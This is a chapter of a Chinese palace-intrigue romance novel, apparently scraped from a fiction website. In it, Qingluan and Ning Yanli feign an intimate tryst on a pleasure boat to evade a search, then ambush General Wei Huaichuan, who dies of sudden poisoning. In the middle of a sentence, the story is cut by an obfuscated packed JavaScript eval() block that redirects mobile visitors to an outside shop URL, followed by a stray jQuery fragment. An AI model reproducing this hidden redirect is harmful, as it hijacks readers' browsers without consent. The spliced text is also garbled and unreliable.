浅尝过的一抹柔甜划过脑海,立即勾动心底更大,更深的贪婪。
尚未出走的理智极速归位,巨大的定力和长久的自持让宁晏礼还能勉强保持表面的冷静,但身体的某种应激变化却是难以控制。
此处没有冷水,唯有一间漆黑厢房,和一个折磨人的祸首,宁晏礼不敢再看青鸾,只低声留下一句“没什么可是”,便转身朝厢房深处走去,迅速在黑暗中化为一道寂静的墨影。
青鸾没想到他会沉着脸走开,连忙紧跟上去,但谁料刚走两步,脚下却被突然一绊。
青鸾心下大惊,整个身子失去重心,向前扑去。
矮几发出声响,宁晏礼倏然回头,一道力量蓦地撞了上来,他下意识伸手搂住青鸾,却因此扯动腕上的伤口。
一声低沉的闷哼从黑暗中溢出,带着一丝隐忍克制,却又因身处的环境,而显得格外暧昧。
叫门声戛然而止,少顷,又传来褚冉对紫衣男子问话的声音:“……你可听到什么声音?”
“……”紫衣男子顿了半晌,才道:“大约……是狸奴窜动,撞翻了香炉吧……”
“可方才,本将军明明还听见有男子……”
“有,有吗?”
房中二人僵滞地定在一起,拍门声再度急促,情急下,青鸾把心一横,接着宁晏礼那道闷哼后,在嗓中喃出更加血脉喷张的一句:“卫将军莫急,今晚就由奴好好服侍将军。”
“……”
撩人的语调钻入耳中,明知青鸾是故意为之,宁晏礼却有些忍不了了,一种极度矛盾复杂的心情,让他不由得收紧手臂。
青鸾被勒得呼吸一窒,抬眸对上宁晏礼冰冷如刀的视线,她眨了眨眼,直直望着他,故意娇声道:“将军轻点。”
宁晏礼浑身瞬间绷紧,修长的手指不禁微微发力,陷入青鸾后腰的凹陷。
指腹的热意透过薄纱,沁入肌肤,青鸾被他捏得生疼,又挣脱不开,便索性点起脚尖,咬着牙在他耳边道:“卫将军不悦,难道是因为奴伺候得不好?”
兰气轻吐,吹拂过耳畔,引起一阵从头到脚的酥麻,女子有意撩拨的声线娇细婉转,带着惹人怜惜的柔弱,宁晏礼瞥着青鸾的侧脸,上挑的眼角渐渐聚起猩红。
话音落下,房外传来一声抽气,以及尴尬的咳嗽声。
“将军,小的早说房中的并非侍中大人……”紫衣男子的声音接着传来,他故意压着声音,含糊道:“这种时候……还是,别打扰了吧。”
褚冉显然被他说动,房门外迟疑片刻,很快就响起离去的脚步,以及紫衣男子刻意的提醒:“褚将军这边请。”
房外两人已经走远,但房内却仍僵持着。
心脏在胸膛中跳跃,仿佛是囚笼中横冲直撞的猛兽,宁晏礼想要松开青鸾,手上的动作却反倒把她腰肢固得更紧。
“你一声声卫将军,叫得倒是顺口。”他沉声讥诮道。
青鸾咬唇,“属下的权宜之计,还望大人见谅。”
“权宜之计?”宁晏礼眼底浮出清晰可见的戾色,“你做事可是素来不考虑后果?”
青鸾试图拨开桎梏,却仍被他死死掐着腰身,一动难动,“眼下既已脱困,大人还何须计较?”
宁晏礼眸色幽深,沉默地看着她,还是不肯撒手。
这是分明不想与她讲理了。
青鸾抬眼瞪向他,也较起劲来。
两人暗中角力,青鸾没想到宁晏礼竟丝毫不顾腕上的伤,硬挺着与她相持半晌,直到见他额上渗出薄汗,青鸾犹豫间身上力道一松,便踉跄半步,被宁晏礼揽入怀中。
身体陡然贴紧,二人同时一僵。
刹那间,青鸾只觉身前隐约有些异样,她微微怔住,旋即意识到了那异样源自何处。
脑中轰然响起,青鸾倏而定在了原地。
虽未经人事,但男女之事她也并非全然不懂,何况是正常男子与宦官的区别。
她顿时忘了先前的较劲,怔怔地望向宁晏礼。
一种极其颠覆的可能性,在心中油然生出——
难道,宁晏礼不是宦官?
但很快,青鸾就在这种可能性上,又生出一重疑惑。
宫中对宦官身份的查验十分严格,除了入宫前的数次校验,便是入宫后,也有三年一次小检,五年一次大检,纵是如今的宁晏礼手眼通天,但早些年,他又怎能做到瞒天过海?
巨大的惊愕和怀疑中,宁晏礼已不知在何时放开了手。
青鸾腰间一松,但悬着的心却不敢落下。
宁晏礼的身份如果真有问题,便是欺君杀头的重罪。此事干系重大,在没能确认之前,她断不能轻易暴露对此的疑心。
青鸾强压下面上的震惊,迅速避开宁晏礼的视线,就在这时,门外突然传来紫衣男子的声音:“大人,卫淮川到了。”
见宁晏礼转身走入房中深处,半天没有应声,青鸾莫名的心虚,她屏息听见黑暗中传来窸窣的声响,不禁咽了咽嗓子。许久,却见房中豁然一亮。
榻边的红烛燃起,宁晏礼放下火折,深呼了一口气,才背对着她,哑声道:“准备动手。”
.
画舫正中的圆台上,舞姬随着异域胡曲,妩媚地扭动着腰肢。
一个身形高大的武将左拥右抱,搂着两个美人儿经过圆台,看着台上舞姬的细腰,眼睛登时就挪不动了。
轻柔的披帛随舞飘落,他松开身边的美人儿,顺手将之抓入掌中,放在鼻下轻轻一吸,神情仿佛陶醉。
待嗅够了香味,他摘下腰间玉佩,就要往台上扔去,谁料,身旁的美人儿连忙抱住他的胳膊,央求道:“卫将军这个月已经赏了三块玉佩,何时也能赏奴一块?”
女子娇声软语,卫淮川笑了笑,也没拒绝,反手掏出一块金锭,丢在她怀里,然后唤来不远处的紫衣龟公:“这玉佩赏给台上的,叫她舞完这一曲,来房里伺候。”
这位爷是常客,他的规矩云舫里的舞姬和下人都懂。
紫衣龟公接过玉佩,立即点头奉迎道:“中郎将回房稍候,小的一会儿就把人送过去。”
一曲舞毕,专供舞姬更衣的厢房传来女子的嬉笑声。
“花奴,得了卫将军的玉佩,往后你可是攀上高枝了!”
“他算什么高枝?”
被唤作花奴的舞姬摘下披帛,仔细叠好收起,又将玉佩锁入妆奁,“这卫五郎不过才是个羽林军的中郎将,若不仗着家世,有什么好稀罕的,咱们云舫出入的贵人还少么?”
“这话也是了。”
一个身着鹅黄纱裙的舞姬随口附和道,之后,她似突然想起什么,双眼忽而一亮:“说来,我方才在外面见着一张生面孔!好像是第一次来咱们这儿的。”
“第一次来的?”另一个舞姬对着铜镜整理发髻,疑问道:“也没听褚将军提起朝中近来有什么新贵,怕不是又有新登科的举子混进来了吧?”
“我伺候过多少贵人?”鹅黄纱裙指着自己的双眼,“这双眼看得出人身上的官气,那位若不在三品往上,我算是白干这么多年了。”
“哦?”一听这话,舞姬们纷纷凑了上来。
“而且最重要的是——”鹅黄纱裙故意拖着长音,吊足了众人的胃口。
一旁在颊上补粉的花奴,也不禁停下动作,朝她看了过去。
“说呀说呀!”其他舞姬催促道。
鹅黄纱裙被催得挺不住了,才道:“最重要的是——那位大人,还是位俊俏郎君!”
她话音一落,一众舞姬顿时兴奋起来。
“有多俊?”
“比起谢仆射如何?”
“三品往上的郎君,莫不是陆氏那位?”
“哎呦,你们可小点儿声,吵得我耳根子疼。”叽叽喳喳的问题涌了上来,鹅黄纱裙被围在中间,笑着与她们推搡,“你们若想知道,待会儿被那位大人看中,自己去亲眼见过就是了!”
“花奴,可准备妥了?”嬉闹中,门外传来龟公的催促:“别让贵人等得太久!”
“来了。”花奴懒声答了,又补了层胭脂。
“花奴,如此看来,你可是亏大了!”鹅黄纱裙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683224|131294||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扭过身子对她笑道:“论姿色,你可是咱们舫内数一数二的,照理说,今晚你最有可能被那位大人叫去伺候,却不想偏偏先被卫五郎看上了。”
这话里透着幸灾乐祸,花奴倒也不恼。
只见她慢吞吞扶髻起身,轻声一笑:“红烛未熄,你怎知谁会躺在谁的榻上?”
言罢,便摇着细腰,向门外走去。
这厢卫淮川正在上房,倚着凭几哼曲。
一旁的舞姬手持酒壶屈身上前,佳酿撞击盏底,发出脆响,卫淮川目光落在舞姬纤细的指间,探身过去,一把握住了她的手,往怀中一带。
绫罗飘转,那舞姬顺势跌入他的臂弯,娇羞垂睫。
“将军今晚不是已将玉佩给了旁人,还撩拨奴来作甚?”
卫淮川用手抚过她脸颊,“你叫什么?”
“云娘。”那舞姬拿起酒盏,递到卫淮川嘴边,“将军觉得奴如何?”
卫淮川接过酒盏,笑道:“极好,若早见过你,那玉佩便是你的了。”
云娘娇笑,注视着卫淮川将酒盏拿到嘴边,刚要饮下,动作却倏然一顿。
“将军怎么了?”云娘杏眼泛起疑惑。
卫淮川看了一会儿,笑着把酒盏送到她面前,“这酒不错,云娘尝尝。”
酒香入鼻,云娘挂在唇边的笑容稍滞,就在这时,门扇突然被轻轻叩响,“中郎将,人带到了。”
卫淮川抬眼望去,未等回答,房门却已被打开。
一名舞姬面覆薄纱,推门进入房中,与此同时又有几个小厮,呈着酒菜进来。
卫淮川看向那舞姬的眉目,面色骤变,手掌覆上腰间,只见一道银光,唰地抽出软剑。
一声“来人”刚叫出口,房门就“哐当”被猛地合上,云娘从案下摸出一把匕首,抬手便刺,卫淮川闪身躲过,挥剑冲入从腰后拔出短刀的小厮中间。
卫淮川乃是禁军出身,身上功夫扎实,被人群围斗几个回合,虽被砍中数刀,但却仍在负隅拼杀。
他想着只要冲出房门,或许就有一线生机,可怎料打斗中,忽有一利器飞来,笔直刺入右肩。
软剑脱手的一瞬,数柄长刀架上脖颈,卫淮川睨向门前的舞姬,轻蔑道:“暗器伤人,果然是小姑子的把戏。”
伪作小厮的黑甲士卒很快把他捆了,青鸾扯下面纱,走到他面前,也不废话:“你与那叫花奴的舞姬是何关系?”
说着,她将那枚玉佩丢到他面前。
卫淮川看了玉佩,面容果然有所松动,但嘴上却仍兜着圈子:“这云舫上下舞姬没有上百,也有几十,便是得过我玉佩的,也有十余,你所说的花奴,我并不认识。倒是不如说说你们,究竟是受何人指使。”
“既然这样,再扣着那舞姬也无用处,便启禀大人直接杀了吧。”青鸾故意对缙云道。
缙云配合颔首,抬腿就要出门,却闻卫淮川突然急道:“慢着!”
缙云回过头,青鸾与她暗中相视一笑。
“你们是宁晏礼那奸宦派来的人吧?”卫淮川狠狠道:“你们想从我口中询出什么,我自然知晓,只是在此之前,我要先确认花奴的安危。”
没想到这卫淮川竟是个情种,这性子倒不像做细作的料子。
青鸾约莫着时间,想那花奴在宁晏礼手下受审,估计用不了太久,便与缙云商量着,待会可将花奴押到他面前,也好让他撂得快些。
正待此时,却只听卫淮川口中忽然发出呜咽,青鸾心下一紧,转头看去,竟见他双眼赤红突出,痛苦地大张着嘴,像是被扼住了喉咙,面色也渐而呈现出窒息的青紫色。
“这是怎么回事?”缙云愣住。
卫淮川身后的黑甲士卒也同时愕然,这期间他们视线从未离开,为何会毫无征兆地发生这种情况?
“他莫不是中毒了?”青鸾看着卫淮川泛黑的唇色,猜测道。
不想此言刚出,卫淮川额上突然暴起青筋。
下一刻,众人就见他后背弓起,口中噗地一下喷出黑血,睁瞪着双眼,浑身抽搐片刻后,便僵直倒地。